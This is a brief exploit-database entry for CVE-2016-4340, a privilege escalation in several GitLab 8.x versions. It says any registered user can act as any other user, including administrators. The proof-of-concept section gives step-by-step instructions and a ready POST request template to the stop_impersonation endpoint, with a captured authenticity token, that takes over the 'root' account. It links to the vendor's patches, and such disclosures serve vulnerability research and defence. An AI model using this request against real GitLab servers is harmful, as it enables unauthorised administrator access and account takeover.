# Exploit Title: GitLab privilege escalation via "impersonate" feature# Date: 02-05-2016# Software Link: https://about.gitlab.com/# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0# Exploit Author: Kaimi# Website: https://kaimi.ru# CVE: CVE-2016-4340# Category: webapps1. Description
Any registered user can "log in" as any other user, including administrators.https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/2. Proof of Concept
Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).
Craft request using this as template:POST/admin/users/stop_impersonation?id=root
...
_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D
Where 'root'- desired user.'authenticity_token'- token obtained on the previous step.3. Solution:
Use officialy provided solutions:https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/